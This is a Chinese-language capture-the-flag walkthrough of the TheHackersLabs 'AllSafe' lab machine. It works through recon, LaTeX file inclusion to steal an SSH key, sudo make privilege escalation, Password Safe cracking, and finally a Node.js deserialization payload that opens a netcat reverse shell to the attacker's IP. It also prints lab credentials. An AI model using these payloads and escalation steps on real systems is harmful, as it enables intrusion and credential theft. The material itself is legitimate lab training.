AllSafe

https://labs.thehackerslabs.com/machine/139

Recon

PortScan

➜  AllSafe nmap -sT -min-rate 10000 -p- 192.168.56.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-21 13:38 CST
Nmap scan report for 192.168.56.130
Host is up (0.00036s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1
MAC Address: 08:00:27:15:CB:E5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 18.73 seconds

➜  AllSafe nmap -sT -A -p 22,80,2222 192.168.56.130       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-21 13:40 CST
Nmap scan report for 192.168.56.130
Host is up (0.00056s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp   open  http    Apache httpd 2.4.65 ((Debian))
|_http-title: Allsafe
|_http-server-header: Apache/2.4.65 (Debian)
2222/tcp open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)
MAC Address: 08:00:27:15:CB:E5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.56.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.48 seconds

枚举

80 端口，域名是 allsafe.thl

目录扫描，扫出来的东西太多就不放出来了，也没什么可以看的

主站中还有一个功能，可以提交网址，所以索性测试了 SSRF，但是没有触发，但是测试 localhost 的时候返回了 1234565even

后面没找到其他的东西

尝试子域名爆破

➜  AllSafe ffuf -u 'http://allsafe.thl/' -H 'host:FUZZ.allsafe.thl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 7016

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://allsafe.thl/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.allsafe.thl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7016
________________________________________________

intranet                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 12ms]
:: Progress: [114442/114442] :: Job [1/1] :: 699 req/sec :: Duration: [0:01:57] :: Errors: 0 ::

得到子域名 intranet ，访问，登录需要员工 ID 格式为 x-xxx-xxxx ，密码估计就是上边的得到的 123456Seven

进行信息收集，目录爆破

➜  AllSafe gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -u http://intranet.allsafe.thl/                    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://intranet.allsafe.thl/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 0] [--> login.php]
/images               (Status: 301) [Size: 329] [--> http://intranet.allsafe.thl/images/]
/login.php            (Status: 200) [Size: 2075]
/docs                 (Status: 301) [Size: 327] [--> http://intranet.allsafe.thl/docs/]
/profile.php          (Status: 200) [Size: 2305]
/assets               (Status: 301) [Size: 329] [--> http://intranet.allsafe.thl/assets/]
/customers.php        (Status: 200) [Size: 11072]
/db.php               (Status: 200) [Size: 0]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/process              (Status: 301) [Size: 330] [--> http://intranet.allsafe.thl/process/]
/views                (Status: 301) [Size: 328] [--> http://intranet.allsafe.thl/views/]

看到有 customers.php ，进行查看，得到很多的员工信息，但是并没有员工 ID

最后在主站的 “我们的团队” 中找到了类似员工 ID 的东西

0-477-9990

测试登录 0-477-9990:123456Seven

成功进入后台

后台利用

信息收集

后台尝试寻找可利用的点

点击 Contrato 可以查看合同

当前在 process 目录中

在其中的一个文档中还能翻到 /etc/passwd 的输出

查看其 tex 文件，可以看到 Empresa 参数可以进行文件包含

其中还有一个读取了 SSH 私钥的

查看到读取的是 /home/parker/.ssh/id_rsa

任意文件读取

将 PDF 上的 id_rsa 进行修复

# 假设文件是 key.txt
cat id_rsa | grep -v "PRIVATE KEY" | tr -d ' \n' | fold -w 70 > fixed_key_body.txt
# 然后加上头尾
echo "-----BEGIN OPENSSH PRIVATE KEY-----" > fixed_key.txt
cat fixed_key_body.txt >> fixed_key.txt
echo "-----END OPENSSH PRIVATE KEY-----" >> fixed_key.txt

但是貌似不起效

➜  AllSafe ssh parker@192.168.56.130 -i fixed_key.txt -p 2222
parker@192.168.56.130's password:

重新读取一下 id_rsa，和上边一样进行包含即可

\lstinputlisting{/home/parker/.ssh/id_rsa}

再和上边一样修复一次后进行登录，成功登录

➜  AllSafe ssh parker@192.168.56.130 -i fixed_key.txt -p 2222
parker@153504fd9bcb:~$

横向移动 - 容器逃逸

to goddard

进来后我们是在容器里面

parker@153504fd9bcb:~$ ls -al /
total 68
drwxr-xr-x   1 root root 4096 Oct 11 18:41 .
drwxr-xr-x   1 root root 4096 Oct 11 18:41 ..
-rwxr-xr-x   1 root root    0 Oct 11 18:41 .dockerenv
lrwxrwxrwx   1 root root    7 May 12 19:25 bin -> usr/bin
drwxr-xr-x   2 root root 4096 May 12 19:25 boot
drwxr-xr-x   5 root root  340 Oct 21 04:28 dev
drwxr-xr-x   1 root root 4096 Oct 11 18:41 etc
drwxr-xr-x   1 root root 4096 Aug 24 18:39 home
lrwxrwxrwx   1 root root    7 May 12 19:25 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May 12 19:25 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 Aug 11 00:00 media
drwxr-xr-x   2 root root 4096 Aug 11 00:00 mnt
drwxr-xr-x   2 root root 4096 Aug 11 00:00 opt
dr-xr-xr-x 149 root root    0 Oct 21 04:28 proc
drwx------   1 root root 4096 Aug 24 18:39 root
drwxr-xr-x   1 root root 4096 Oct 11 18:41 run
lrwxrwxrwx   1 root root    8 May 12 19:25 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Aug 11 00:00 srv
dr-xr-xr-x  13 root root    0 Oct 21 04:28 sys
drwxrwxrwt   1 root root 4096 Oct 21 06:23 tmp
drwxr-xr-x   1 root root 4096 Aug 11 00:00 usr
drwxr-xr-x   1 root root 4096 Aug 12 22:31 var

数据库密码，但是连不上

parker@153504fd9bcb:/var/www/intranet$ cat db.php 
<?php

$dsn = "mysql:host=db;dbname=allsafe;charset=utf8";
$username = "root";
$password = "31jB2rcbG1Pjorbd93eaxHW";

try {
    $pdo = new PDO($dsn, $username,  $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOExecption) {
    die("Connection failed: " . $e->getMessage());
}

mail 里面有东西

parker@153504fd9bcb:/var/mail/parker$ cat meeting 
From goddard@localhost Thu Aug 21 14:05:20 2025
Date: Thu, 21 Aug 2025 14:05:20 +0000
From: goddard@localhost
To: parker@localhost
Subject: Reunión con E-Corp
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Hola Oliver,

Te adjunto las notas que armé para la reunión con el cliente.  
Revisalo y confirmame si llegamos con todo.

Saludos,  
Gideon

--BOUNDARY
Content-Type: text/plain; name="meeting_notes.txt"
Content-Disposition: attachment; filename="meeting_notes.txt"
Content-Transfer-Encoding: 7bit

Meeting Notes - E-Corp
----------------------
1. Confirmar agenda con el cliente.
2. Revisar documentación técnica.
3. Validar acceso al portal con la credencial:

   Clave de acceso: 6D7033386E71556654416130494D314F70306157

4. Preparar demo corta del servicio.
--BOUNDARY--
EOF.

其中告诉我们这是一个秘钥 6D7033386E71556654416130494D314F70306157

典型 16 进制编码，解出来是 mp38nqUfTAa0IM1Op0aW

该密码是用户 goddard 的密码

parker@153504fd9bcb:/var/mail/parker$ su goddard
Password: 
goddard@153504fd9bcb:/var/mail/parker$

to root

查看 sudo 权限

goddard@153504fd9bcb:/var/mail/parker$ sudo -l
Matching Defaults entries for goddard on 153504fd9bcb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User goddard may run the following commands on 153504fd9bcb:
    (ALL) NOPASSWD: /usr/bin/make

直接提权到 root

goddard@153504fd9bcb:/var/mail/parker$ COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
# 
# id
uid=0(root) gid=0(root) groups=0(root)

to cisco

家目录下有一个 psafe3 文件

# ls
secrets.psafe3

PSAFE3 文件大多属于 Password Safe。 Password Safe 可让您安全轻松地创建安全加密的用户名/密码列表。

因为需要密码才能打开，我们通过 john 进行爆破

➜  AllSafe pwsafe2john secrets.psafe3 > hash

➜  AllSafe john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 262144 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockandroll      (secret)     
1g 0:00:00:43 DONE (2025-10-21 15:51) 0.02321g/s 190.2p/s 190.2c/s 190.2C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到密码 rockandroll

文件通过 password safe 打开

sMpam!xxxxxxxxxxxxxxxxxx

提权

信息收集

当前目录文件

cisco@allsafe:~$ ls
darkarmy.bin  user.txt

家目录下能读取 user.txt

cisco@allsafe:~$ cat user.txt 
e8xxxxxxxxxxxxxxxxxxxxxxxxxxxxx

darkarmy.bin

cisco@allsafe:~$ strings darkarmy.bin 
70617373776f72643d64726b32303235210a

还是 HEX ，能得到一个密码 drk2025!

家目录下隐藏文件 .unknow

cisco@allsafe:~$ cat .unknown
Si quieres comunicarte con nosotros, no vuelvas a usar los canales habituales.
A partir de ahora, todo contacto será únicamente a través del canal seguro.

Conéctate al servidor de mensajería y entra en la sala:
    dark-ops

No intentes usar este acceso para nada más que lo acordado.
Nosotros decidimos cuándo y cómo se conversa.

如果您想联系我们，请不要使用常规渠道。从现在开始，所有联系都将仅通过安全渠道进行。

连接到消息服务器并进入房间： dark-ops

请勿尝试将此访问权限用于任何未经约定的用途。我们决定对话的时间和方式。

查看正在监听端口，有两个开在本地的

cisco@allsafe:~$ ss -tulpn
Netid                  State                   Recv-Q                  Send-Q                                   Local Address:Port                                      Peer Address:Port                  Process                  
udp                    UNCONN                  0                       0                                              0.0.0.0:68                                             0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                         127.0.0.1:40089                                          0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                           0.0.0.0:80                                             0.0.0.0:*                                              
tcp                    LISTEN                  0                       128                                            0.0.0.0:22                                             0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                           0.0.0.0:2222                                           0.0.0.0:*                                              
tcp                    LISTEN                  0                       511                                          127.0.0.1:3000                                           0.0.0.0:*                                              
tcp                    LISTEN                  0                       4096                                              [::]:80                                                [::]:*                                              
tcp                    LISTEN                  0                       128                                               [::]:22                                                [::]:*                                              
tcp                    LISTEN                  0                       4096                                              [::]:2222                                              [::]:*

Node.js 反序列化

3000 端口还是一个 web ，登录框

将 3000 端口转发出来

./socat TCP-LISTEN:3001,fork TCP4:127.0.0.1:3000 &

是一个登录框，需要三个参数

分别输入 cisco dark-ops drk2025! 提示认证错误

在 /vat/log 中发现 app.log ，不常见

在里边能得到两个凭据

DLFJYxLLSzp1x5Ttpsffpg2awuJT5K

将密码换成 DLFJYxLLSzp1x5Ttpsffpg2awuJT5K 成功连接，聊天还是用中文（

这里尝试一下 SQL 注入，SSTI 之类的，也没能找到什么

需要知道 3000 端口运行在什么程序上，查看一下抓的包

因为 Socket.IO 是 Node.js 的流行实时库，所以猜测它是 Node.js

在查看进程时也能看到 root 运行了 nodejs

root         308  0.0  1.6 1248480 67224 ?       Ssl  06:28   0:01 node server.js

还发现了这个 Cookie 是仅仅通过 Base64 加密了而已，模拟了其他用户后也没什么卵用

看了一下老夜和国外老友的WP（https://7r1umphk.github.io/post/thl_allsafe.html）（https://github.com/nohh022/writeups/blob/main/TheHackerLabs/AllSafe/AllSafe.md）才知道这里有反序列化漏洞

一些文章：https://cloud.tencent.com/developer/article/1374840

payload：

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('busybox nc 192.168.56.5 1234 -e /bin/bash', function(error,stdout,stderr){})}()"}

进行 base64 编码，替换上去

来到控制台，输入如下命令，先断开套接字并重新连接，服务器就会重新反序列化

socket.close()
socket.connect()

读取 root.txt 即可

总结

要耐心耐心耐心耐心

TheHackersLabs - AllSafe